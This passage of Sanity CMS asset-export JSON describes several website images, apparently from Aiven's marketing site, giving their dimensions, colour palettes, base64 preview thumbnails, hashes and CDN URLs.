atch","background":"#fc5404","foreground":"#fff","population":17.25,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Social media image template with product close up Orange.png","path":"images/sczeoy4w/production/44515a1d6031717fdd221ab5ad346f88b973b66b-1200x628.png","sha1hash":"44515a1d6031717fdd221ab5ad346f88b973b66b","size":151739,"uploadId":"70iSC3uTDZhS3oOVjshdEDbPuYSdn5ol","url":"https://cdn.sanity.io/images/sczeoy4w/production/44515a1d6031717fdd221ab5ad346f88b973b66b-1200x628.png"} {"_createdAt":"2022-09-26T15:38:40Z","_id":"image-ba2c3278c34b5e059c22353862bc199728a2ab04-800x717-png","_rev":"lf1jOsEAA7PAFZMZhZlbJ6","_type":"sanity.imageAsset","_updatedAt":"2022-09-26T15:38:40Z","assetId":"ba2c3278c34b5e059c22353862bc199728a2ab04","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eEGat[Vk011sD|nutn5lwd;70E=wGHx-?G|.9FjDK+yC6sF{]h*{Vu","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.1157601115760112,"height":717,"width":800},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAASCAYAAABb0P4QAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFcElEQVQ4jS2UaUwTBhiGvxYEFCGCGtE5zVyUqaUgClScERnIhoohUrClcrVAKyAwJ0fVIo5DJtIKE1CHUMotpcghTkqnBvGA4tB5jc3FCMqlZgRmBfp9C3Nv8v59kvf58QKwEwHmrwRgxTFhvdjcjhVsBpuJoQpOXTjC4/BnglfLRkPX+EQF+nl5e3unczicY05OTq7Ozs5mbDYbZuvh4QGjQ0PwMea2wGgkAPswC1gX/Ym5vWAJ7H1mExh2zbeDH1E3wWf1vo1mVV3KiK86fOjbxz4+Pr86ODh8x2Kx7CwsLGD16tXg7OwM93t7/weGvwEIHzMB91xrpkPcCtO1oXYmIYNruKEdOa1BcUOTQezp8dgN77oLpe+K8uXGAC73vSObXcNisTbo9XqwsbEBNzc36Ot7AN3d3QAgRiaI0RpCXtuauOdbAfv7uYvDh93FvMbLXf7CD9MBbPpb4oL6gmQsLT6L+0NCZzZt3HjT0dHxa5FQaLp161bw8vKCqqoqUCqVAAwJmoCEFjAPkK1v8oAppNNcR9GLwIxAZU//bp6R/J3wZegmbJQKMS8nC8PCwonD4Tx0cXEJEQgElqvs2eDO2QjlmptAs6sd0iYYsJ9M+QWDlg97e1Zoul58daLoD8WlI+rBocQUMhzch50RO1AW7IeHDyViREQEeXh4DAYFBeVVV1c7vx0btpg1Z3zdCZe6jQD9PVehrLELdDqdVdetzqCuu70N1zt/e67XdhteXeugQXUllqYmIM9vJ4pEIuTz+Ojl5WVISUl53N7env6gr2/VLJCoCXrbFAB1mivwc1MNaBovW11pa4vs6Oh4eqvzFun1enz66BHqb3dhZvpx8vPzI6FQiFwuF7dt20ZSaeqUtk2je3K9xPfPXGuLwpgt8KqZC1BZWQkXL5ZAebnKrKamZo9aXX+3pbUFO3Q6unP3Dmq1WpLJZCgQCDApKYnE4uhZIMbGxqBWXTQ42BxV8L7czoWq55iTHADOFKsg6UwZ5JeoGPLiSveic6pW1U/KqVpVJWkaGlCtVmNeXh5JpVKUy+WYnZ2NfD4fExMTUVeXOz3a4Pd8qmKJHOsWbnrf9LkZuKU+ATAQQB7BNyn3XFITazVVcScNNfGplJt6FHNOnqQ8uZyysrJIoVCgUqmk/IICLC4+h12NZ+hNrecMVto+J7WNnJqXfAlzJNMAZwkgiUzthS99UgLqb9z1PjTT9xWPzvrxUBopxsy045iedhwzMjKxrKwMNQ1qbGtuwF5NNo4oN9OEctnMZN2nvdNNy2QwL9oAkEEAB8nKdf/vUYqdF58NuEfRpNte1HsEYsM+ESrTTmBxQT5euHAeVaoKKq+opYqyUmoulqJWEfihRcEd0p73rxuuX8eHL8IHAJIJQELLd/G6c+p25I6OuwmINvkbP2zm4uC+WOosKKGWqzdIfa2HiuvvTcvOd47H57QOxMmU90VSZeteaePpgGOXd5UWHlwEtHIewA8EiyLHnSMD2mtvbj/6z6Qbn8Zdg2lgq5huh56aKfvxxmSO+uVwcvXYY0HhqNYza7hkQ+qAdE3CX7zFMSOeTLHRASLIBoAAQEUAiWS2VPh2TxhXd6fe+9TMze1HDXXeuWPy3WX9CUJd5x7Zi6ot2RMZ69M+RCw9POVpEUdrQUKLIYosQUyLmBLjSsuYSRufYzomgJQAYmi+ddRkqGtI/y9hXF2PKKC9YRev57RrSH/MZ5EjvlYSgyOIcBkE0nzYQSaR3QQgIEg4UsQwlxgWMCXG5QwJLmBIkAFw4D9/lkyx0dciekpqHTUZYRn1njPrFGLJEiRkApkEsGx2zscGKIbAOn4KmBKcfSsTEKMZiNEUxAj/AgQdyohqdSMRAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c4a5b","foreground":"#fff","population":0.13,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042294","foreground":"#fff","population":0.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#fa384e","foreground":"#fff","population":6.92,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#bbb29e","foreground":"#000","population":0.13,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fa384e","foreground":"#fff","population":6.92,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6d8eaa","foreground":"#fff","population":0.18,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0767f7","foreground":"#fff","population":5.61,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"women-looking-at-laptop-smiling.png","path":"images/sczeoy4w/production/ba2c3278c34b5e059c22353862bc199728a2ab04-800x717.png","sha1hash":"ba2c3278c34b5e059c22353862bc199728a2ab04","size":200304,"uploadId":"DhazuBpKZkl2T20DiBoxEVRv9UkaHpvX","url":"https://cdn.sanity.io/images/sczeoy4w/production/ba2c3278c34b5e059c22353862bc199728a2ab04-800x717.png"} {"_createdAt":"2022-07-27T15:02:48Z","_id":"image-68fd08d4def37d9298416749beb3a868e0e48e4e-2500x1308-png","_rev":"4pG2it9AJU1nJxbjoHmkv4","_type":"sanity.imageAsset","_updatedAt":"2022-09-16T13:09:17Z","altText":"Aiven's open source observability tools in action","assetId":"68fd08d4def37d9298416749beb3a868e0e48e4e","description":null,"extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MQNAbkpIQ--UE1~qS$R+W-NH00wIxvah$%","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.9113149847094801,"height":1308,"width":2500},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAKCAYAAAC0VX7mAAAACXBIWXMAAAsTAAALEwEAmpwYAAAC5klEQVQokTXSS2hUVxwG8OtkGykaiQ+qomMX1pq6CKUU0WpXXRRaxW7clEIXriskQsNgo0RNohHcjAU3CrNoIa1dtMQZlIymGSgmNsUZM4/M3JnJ5E5u7uv8z/uce0TTLn58iw++1Wd5ntcDAL2EkD7G2I6XL4u70um7+4eGhg9eGR197/bU1OHJycn3x8aufXB17PrRGxO3jkzenDqcTqcPzT1+tDssL+2A6nJftLq6dcN1eyyE0C7G2Nec8xFK6WUA+NF13SG72fyuVLWHXryq36g02uOO40x0W5WJ9fo/426nPu67znVS/ntU/nHvsnyYSYmFxfNow3vXQggGKGX3CCF2GIaO7/udKIqeRwh++bfhzmcXG52i7XYpwY50S46o5xzpVR1JIkeVC2vx9B0nnn7QVktLGRwEH1kAMMg4/40xJhECE4aRAYAWEPpkuRNW88VOXFkNDGfUKK9ipD1rVLBiFMNG1xZMPJMx8fys1k53BmN83MIYD0opp5WSTEoRCyG0EMKmjOfaESuX1rF0EIuFlFox0Aq7WguitWBa2UWt5rOxLpeEJvRPTOlxCwAPcs5/5RwLTCIDGAyltAWEPSn6rJZfo3Et5EZIZbSON8XGaMmNsotG/fXI6OWS1oTO/D94lDH6E+Co5ocbrSAMmgBQQJhkSh6dnVvDjZWQNbmQTSVVS0rZkkq1JGct2a42xeJcU9VrK4rQ+5iQQQsFQT8G+NIP/OGuu57a8LwfEEIXAOMz3Yh8a/v4YjdAl4IwGvH9ILUpTPmenwo67RFk14aZu/49p/QMAthtRRe/6c3fub3n5/uZQw9/n0kW5p/vrdUafYHv9wqI3qGB11ddrux8+rSwL5vLH8hmZ9/K5fIHnhUW9lba3f6Asu0I4963Pwy/GNhz95Njyc8HPtyXPHJsa3JnMmGMsTap/9JY+w9+vOXkp2cTp06fS5z67FzixMmvEv0927a86bAxVmyMxQm1XgOhb2z54DmkyQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#4d4c4d","foreground":"#fff","population":0.77,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#744414","foreground":"#fff","population":0.01,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#4d4c4d","foreground":"#fff","population":0.77,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a3c9d7","foreground":"#000","population":0.57,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f49c8e","foreground":"#000","population":0.16,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6489a5","foreground":"#fff","population":0.03,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4640c","foreground":"#fff","population":0.28,"title":"#fff"}}},"mimeType":"image/png","opt":{"media":{"tags":null}},"originalFilename":"infographic-aiven-observability-tools.png","path":"images/sczeoy4w/production/68fd08d4def37d9298416749beb3a868e0e48e4e-2500x1308.png","sha1hash":"68fd08d4def37d9298416749beb3a868e0e48e4e","size":76267,"title":null,"uploadId":"6WvG3krw5lnPsRzwOAeB3aPqpo5JWi8j","url":"https://cdn.sanity.io/images/sczeoy4w/production/68fd08d4def37d9298416749beb3a868e0e48e4e-2500x1308.png"} {"_createdAt":"2022-09-26T15:38:06Z","_id":"image-7fa7f93569c77f2d9e85f431efe5185d425a7b9b-900x779-png","_rev":"lf1jOsEAA7PAFZMZhZlYyK","_type":"sanity.imageAsset","_updatedAt":"2022-09-26T15:38:06Z","assetId":"7fa7f93569c77f2d9e85f431efe5185d425a7b9b","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eHIW[xCT4n:N03%cNNIpw@RP00IA$*PB=|akx9S5Rq-;4p^HIoVx-o","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.1553273427471116,"height":779,"width":900},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAARCAYAAADdRIy+AAAACXBIWXMAAAsTAAALEwEAmpwYAAAFGklEQVQ4jU3UaUzTdxgH8AeZx+ZU4nT86xA1SAhVsSqWoW4gGx7rICtoWIAhDikrUkdRrnIUUNEaEJFwCCIqiqItoNB/CwjIlPWgVNg4HCiUM7ogqGBEaX/PAjuyF9/kefN88jwvngd0BgL9jfmgMxhB108g50oFbNjsDEMjz8DT09PaxcUl1MnJScJms7muLi5LAQAQrQAblgKhKUAFYzb/1tDcj7OZgbV9Rsi5XD7TA75+/h8HBQVxAwICaA6H081ms4tYLNa2nBj2Aqy1XPi+krGY0NTcGYjMgP/As9DfMULnOMJGqzmQe1kGbjtdLSMjI5MyMjJG4uPj0dPT89EO500HOgutN2E1w9dEM4IJTe0hNMUiNLWc0JQ50tT/wdks1vZO27SOoHX8iQy7RLE49cKFC8/T09Px4I9B+oP7nQ+PSVcIUcl4SGhGF6Gp+4SmrhKa8kea+uS/lR88Q9D3Tn6kMxi/bjaYzrYMYJpSOxgoTklNiouL642IiMAf/P206ULHxKk7ltdRQb0mNANRwTChgvEnKhiZhKZspuWzE5qgu70ONIPIaO7H6OZ+1OkG8OHDrlfixJTTCf5+fp0eHp7E4xu3nivJO6om5cx2olz5xkgzXk3LqeFpOfULoSkBKhgU1q8A+HUYAe/MNX/aVmHX8bjj2G9/GAraekbOPOoaEJXcvFUoEAgG3d3diQdn10TuqaDRzjL/18OlTkN92daqthNWspaTVhGGAoYd6i0/AFgDgDIAImcseafY4PGm2jVtrC4wr097Lb/j99YatVpjKC4unoqKiiSCQwdIlohPqiX8903RHgMq762P6p23NBStZx0NW7OWGnF0ASVzOwDK5wOhrZZi5XK+sWqterwuYLinuex5W6v+bWtrK1Gr1SgtvYH5cTykg52xnf+laSBs39Soj/fboe27xxuYXxSnWG9wgA8BMP4SAEoBpuQ2C94qt3i/rPdp7ms6jzpVHWo0GpwBW/R6UquUkzupfNIVbEPeHWEhJh9EPMrHyW/3ES3LtSlttQMHAOZCgBfAROUqaFHVLOrWXPN90iLTNjcppysqyglNK4hKpSKNjY2kqrKSlJ+NIfrQ9fhS4EBGI7nkSbAPebBrLxZude0X7+Eez87KYj7u6FgAtQ1qUKlUTK1GlavTaUdra2swN/s8KcjLImUyKZFKZXj7thRLsiXkJt+VlPswSSH3c3Jqr6spdrc7ifT2fnVaJKqWyWRB9xvurwS1RmN2716ts1KpvKGg5YN3b18cv5oZPn3upAATUiQYezyLnM7II5nnMlESHYaiQC+M8OdiwiFvzBFysTR+//OKcxFFVdJrnCq6+lPo7OyCkuvFKwsvFX1/9VJ2woOSn4qbCtyfJh3lvmN7hJns9xwjO/bHEr+wk6a4JMlUcnz0ZGa030SN2G2i9/j6yRfJqx6/SF4d1X3mq88kdzvmzD4CcazAXBiZsCgvLdyyv3TzzjKJYwHH67uhhawgYraOh/M3hpA1bsIR39BkRUqs8OKtKJf8gURG/rR4/kUSCxkYBV4oBAt9Lh9AGB4OodGZYKhPhS3eaRB3eNsyR/d9Ryw2B7abMYNfgz1vGOyD9fMcQnLX7f6ZIwwJsJMdtrUdE82xxQSwNYrM1xpF8yynEizmxfUiQHdPD2Tn5MEuP5EZABOAGboE7HkhYM9TAZOnBSavAJg8vhmT5wjMkIUcCwDDzEEcAkAhAB4DwBgAEg0wFrMM/gJNjtOrRTuudgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#5e4d36","foreground":"#fff","population":0.09,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042a63","foreground":"#fff","population":4.56,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042a63","foreground":"#fff","population":4.56,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c7bac3","foreground":"#000","population":0.09,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f64045","foreground":"#fff","population":2.65,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b08d74","foreground":"#fff","population":1.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7860b","foreground":"#000","population":0.58,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"man-holding-laptop-screen-aiven.png","path":"images/sczeoy4w/production/7fa7f93569c77f2d9e85f431efe5185d425a7b9b-900x779.png","sha1hash":"7fa7f93569c77f2d9e85f431efe5185d425a7b9b","size":318434,"uploadId":"fwDSPSaU6wCJMQ09POdzBsillMelJUth","url":"https://cdn.sanity.io/images/sczeoy4w/production/7fa7f93569c77f2d9e85f431efe5185d425a7b9b-900x779.png"} {"_createdAt":"2024-06-10T12:25:20Z","_id":"image-9b402f8f193e43753d6e826900e67376213971cb-1241x697-svg","_rev":"KMRFO4K4jxsbYzquYob76k","_type":"sanity.imageAsset","_updatedAt":"2024-06-10T12:25:20Z","assetId":"9b402f8f193e43753d6e826900e67376213971cb","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"MTL4jK_NE0waR*Si%Ms9-=ba00oMIUD*s.","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.7804878048780488,"height":697,"width":1241},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAAAsTAAALEwEAmpwYAAADhklEQVQokQF7A4T8AICEohZbYIkuX2WMJqirvg+WmbEcYWaNOVNZg0dQVoFJUleCRWtwlC6Pk6wTKzFlLScuY3AoL2SBIipgSiIpYA0AADwAAAZGAHOApQD/UQAAAL/Bz1OhpLqXqau/hNjZ4UnNzttwo6e/rpOXs8GQlLHBlJm1v7K1yprQ0d1TZmySWkdOfLlLUn7WV1yGhnt/niEAAAAAAAAgADA2aQAOFlIAAOTk6X3W197W2trgwurp7Xnh4O2u0M7i8szM4P3Mz+H7y8/i/tfb6uHk5OyHqa29d5CWrtaYnLP4qaq+qcbDzTH///8AAwdDAAAAAAAAAAAAAPT09IPt7e3c7+7uyuzr7YPZ1+m50czk+tfV6v/b3u7/0tfr/9XZ7O3h4euT3t3YfNrc2Njg4uP76ujqrvDk4TZDECMFAAREBwAIRwYAACUCAPT09ILu7u7a8PDvyOLj6H24uc+tq6zI7LS2zvG6vtTrrrPN7rK30NnJy9qF4+jicOft5cbt7+zo9vTyo+HV1T9APmkxJy5jTyYtY0YxOGshAPT09IPv7+/c8PDwyePj52yxssR/paa8sqipvqikp76LkZayg5ebtne2ucpI2ebpPt7p6m3n6eiF8ezqcdXN0l2Hh6OJaG2Sw2lvlK+FiadhAPT09H7u7u7U7u7uwurq6l/U0dZXwL3Ie52csXR0d5hRfICeN6+xwSfMztYV2NzjEN7Y2CHm1tIq697bOOLd4GjOzdi5v8DQ+MHD0uTT1d+PAPPz81Xu7u6P7e3thejo6Fro5+p00dHcm5+huqyMkK6ltbjMjenr8W74+Pk46NzaF+PR0C3j1NQt6NvaF/Px8Tvz8vSZ7+/x2fHx88r39/iFAPLy8hjw8PAn7u7uJuPk6UXd4Oup0tbl6MTI2/XCxtn2zNDi8t3g7dfn6O926NfTI+PNySjk19cm6eHiCf39/BP39/dH9PT0a/X19WT5+flBAP///wD//6sA////AMzP3DS6vtOssbbO8bi90/a/w9j0tLnS+Lm91OPKy9qA3sfBG++UbAfoxLkI4tHQAe7v8QLx8fIK8PDxD/Hx8g7y8vMJANnZ3QAAAAAA////AKuuwSuPk6+PgoenyY2Rr86UmbTMhYqqz4qPrr6mqL5qxL/GE73z/wBUAAAA6ebrAPr7+wDt7e0A5+blAOvr6QD19fUArnE8eoKcGeUAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#582e38","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#10144f","foreground":"#fff","population":4.4,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#10144f","foreground":"#fff","population":4.4,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a7b0ca","foreground":"#000","population":0.74,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#6ad5f2","foreground":"#000","population":0.04,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#676d97","foreground":"#fff","population":0.97,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#26a4de","foreground":"#fff","population":0.01,"title":"#fff"}}},"mimeType":"image/svg+xml","originalFilename":"Customer Service Chatbot.svg","path":"images/sczeoy4w/production/9b402f8f193e43753d6e826900e67376213971cb-1241x697.svg","sha1hash":"9b402f8f193e43753d6e826900e67376213971cb","size":232767,"uploadId":"ZqtTWAulCMLRark2mZTkiUC2NRBQr09T","url":"https://cdn.sanity.io/images/sczeoy4w/production/9b402f8f193e43753d6e826900e67376213971cb-1241x697.svg"} {"_createdAt":"2022-06-15T20:02:36Z","_id":"image-0e4984709cf90a7277d48aef88f5f32e2e10e8eb-1567x844-png","_rev":"CK1sLU2mnwa3vmbYWEdqlp","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:28:52Z","assetId":"0e4984709cf90a7277d48aef88f5f32e2e10e8eb","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MKQI_9.TLMqZ%MT4E1o|nPV?.SH=n4X.RO","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADJ0lEQVQokQXBy24bVRgA4HkCBEseAAk2FU/AHsqeRaUKRCmIFSISinDSiHvTCNhAi4TTklJQkzgEipq0wUlsh9hOnbFjx+PJjOd+5n7OzNgzdtuk+P/5Ps60wo9Vzb2l6d6KojlLiubctN34Fo3GvwU0KxhmcE/V3L89mfwx2GmsDu9XClGnX6DBsBCycSFko9WQjdYoGy1Rls1y7Y60WN47kEuVelTeO/D39hueIGq+6w9CP0yZ48URMbzY2qmzYP46y6bnWHr7VxaIGrO8ETPdjLpBGlE61BgbrHF8S1j5p1iJNh5s44OtXdwqVnC/xmOn20dB1FCUDDQ6Eip3VvHok09RvXwR4y8+QrdcQllP8MRIUScJhn40TCgrct2eerdab4Y7pSpu7+5PdkpVKFfqsF/j4eDRETRbAhh8B6xfFqE+9S7UPnwdnJnz4Be+BeVYgK4cTMS+j57txWnobnHEiZY1w6N91UZZIdBXCCgqAVUloGkEdN1GVzaAPryH5Ou3UZ86h8HsSxhcfxPlhz9js8HDIS+gKopJbKtbHGXZMmUZpSxFyobA2AAjmiALY/S9CG1C0VA8tP8t4fDGO/j0youYzD2H3S9fwb++ew+X8jdgbW0dq5VSoovtIsfYYDliCY1pjDGNJgmlkIQBUM8Hh3hgGh6oMgGz/CdkP52HydUXIF54HopzL0Pu/Tfgg8uXYGFhATc37qfCcfuAS8JwOQmCMAl8HATeJA0cGPo2RA4Bz7TA1i0w+hqQ2jqkd9+C05vnIL79Kmx//xrMTV2A6enpST6fx1KpNO7Lco9LTWUl1mVGDRkTW8WRp+PY03DoqMhMFX1NQUfpoy/UMK4vYlL5Bv3dz/DR+iwW7vyIG5ubyPM8SmJv7Fo6z42k1g+RcNh0xabJdEEbu7L+xJP1x86JnpETZWiKUmoK0sjsSKnakBK5KtHerqQ0NiW+XtZ7vZ5rmYbvE607cOTfucf68YVUbV9JtM61zBLmn7ri/Kkrzp+5wtUzp/v5M6cz85/Tzk3sVu4ZaeXOrFbuzORziXI4o4vta0pfXiSGlo+J9NUpObr0P6+v14NBdj/5AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#45332b","foreground":"#fff","population":0.4,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#905a29","foreground":"#fff","population":0.31,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f48e11","foreground":"#000","population":5.93,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c89595","foreground":"#000","population":0.82,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a0cef8","foreground":"#000","population":0.03,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#5e72a9","foreground":"#fff","population":0.06,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f48e11","foreground":"#000","population":5.93,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"0e4984709cf90a7277d48aef88f5f32e2e10e8eb-1567x844.png","path":"images/sczeoy4w/production/0e4984709cf90a7277d48aef88f5f32e2e10e8eb-1567x844.png","sha1hash":"0e4984709cf90a7277d48aef88f5f32e2e10e8eb","size":425733,"uploadId":"m3wqCM1loGaIYGkAu7VdffVtSqe2ePm8","url":"https://cdn.sanity.io/images/sczeoy4w/production/0e4984709cf90a7277d48aef88f5f32e2e10e8eb-1567x844.png"} {"_createdAt":"2022-06-15T20:02:35Z","_id":"image-be287498b89f8ed67e42dd69650f61fe19282c93-1567x844-png","_rev":"CK1sLU2mnwa3vmbYWEdnyD","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:28:43Z","assetId":"be287498b89f8ed67e42dd69650f61fe19282c93","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MYQ[okc[O@v~oKKlM{wIaepIuhQmnNofS$","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAYAAAB/Ca1DAAAACXBIWXMAABcRAAAXEQHKJvM/AAADQklEQVQokUXMS3ATZRwA8L07Xr150DMHXyfHx0G9YLFO8aKVsVgGdMBhpkMdhlBonYEShofOdNBUGac4dgxsoQQ1pGlomk3SpCS0DYTtbrL75bl5fF+ym82LJt3/3/HgePhdf5xCtDE5nf9VIdqCminfUojGK6TEp5Qivy1neTVT4kuVBk9r7f9VDJ4VKU9LjKfMvEVrrQXKmnOUNSe4zcT29UBwXfavrtX9gQj1ByIsFI4zIfSQ+VZCbD2WYLk8ZaWywUi2zFSZsFI4xIyFeWa6XawuypRV6jXGGipjxgK3sSXe9PqE2p9/e/Evtw89S370rYTQ6xPQ7VnBYDiOKbWIokQwvLaOMZ8HVYcd6clDqH93Chu/zWPDF0RjS2zo+eIy9+Sp8ocQelj9N1j2CdaqEIXQWhyE4Dr4VwIQDfhB3IzDRjQEUZ8L5NsOqE6OQOHIPhBPHIP8+CmrdXwCu+ev1dt37i9xuQJzKkSjcjqPcioHaaWAakZDklJQiXgwtXgZyZ3zmF/6ESv3rmB75jD2v3kb2cF3MDh2CJeOj0F6/5fYGhht9Ee+FTjKmk7KmpQyEylrAKM61piBekZE5r6I+cvvYXX6FezODmLv5wO4O/UBwtHXsfXFGxgc/QhnDo+Cc//nqLw71Oq9+ckGx5jhrDGd1mkd65RZepWCTqtgpmNg8mOgT74MnfHnwDr7IvQvvQU7V/ZC68LHYJz4EMSR98Hx6T64MDSEwt4hszswHOX0atWpVypVvVJGo1KyGpUimJUitHJJ6Kz+BDuOQbCmXgI4+Tz0z7wATftrUHcMg/nLOBhnD0DgyKB17eBn6Dn6td6wn1vmzGz6Zp3IjGZk1AsKtkoE22WCHS2Fz9JR7EXncZc/htbVV7F/aQ+2Zwewc8+Gvcg8Wt7rWL4xjd7vp9D1w7SRXJzzci1pY6aWjD3SxEeEkaTU1mSpW5KlZ9q2tFMUpV5uU+pv3Zas+6cly21L7UZmVSvpIkBCBNQw6T19QLKhxaxwdy4RuHvjd65DHg+bytaZupo4Z+aSE11NtO1ooq2nJW294mNbv5iw7ebjNksVToMqTEJ+fRoKMft/sBi397PRi+zJgykp6PrqHyUEudRgCJu7AAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#403b45","foreground":"#fff","population":0.22,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7f3d04","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f7522c","foreground":"#fff","population":10.8,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#cd948f","foreground":"#000","population":1.04,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f7522c","foreground":"#fff","population":10.8,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#805eaa","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f67a11","foreground":"#fff","population":7.99,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"be287498b89f8ed67e42dd69650f61fe19282c93-1567x844.png","path":"images/sczeoy4w/production/be287498b89f8ed67e42dd69650f61fe19282c93-1567x844.png","sha1hash":"be287498b89f8ed67e42dd69650f61fe19282c93","size":291381,"uploadId":"on9NNj1eNCwZU2MTkNQcZsPTPdhxXAMe","url":"https://cdn.sanity.io/images/sczeoy4w/production/be287498b89f8ed67e42dd69650f61fe19282c93-1567x844.png"} {"_createdAt":"2022-08-15T15:40:16Z","_id":"image-525dd6662e1da8aeeccdb5644dc13b50ba82f402-48x48-svg","_rev":"AItYcVmwODXGfe9M0C0a90","_type":"sanity.imageAsset","_updatedAt":"2022-08-15T15:40:16Z","assetId":"525dd6662e1da8aeeccdb5644dc13b50ba82f402","extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":48,"width":48},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAEOklEQVQ4jX1VbU9bZRh++DB+gPwI9237BwtEo8YZTfygftiimwYlakx82+bLNlYjgymbomwxOEYy50vrjNtCNqDgxug6sLSFA5xS1nJOz+nLaTnnFA7tebtvc5+2UGPikzxJ+7xcz/1yXddhAz2/slwhxxCRBW/NtSwtrralUkKHLOd8ilIKqqom63rZpEm/aU2Wc2fSabGD55NtsdhSC90VRZkFArcYy+azLMxPsaXlRKsgZvYWCkqXpukBw9jmTdNUbds2bdtxa9M2aY326Ew+r7yVTouPc9xKa1/fdQ+UZSeRJZKrrak1cb8kFHwbxXLMrFoGgIsAgAj4r0FrruuiZVnG1pYRU5SSb309s59AKVI26g+3ZCRpbzaj+Faj+VVuOufIyTJWD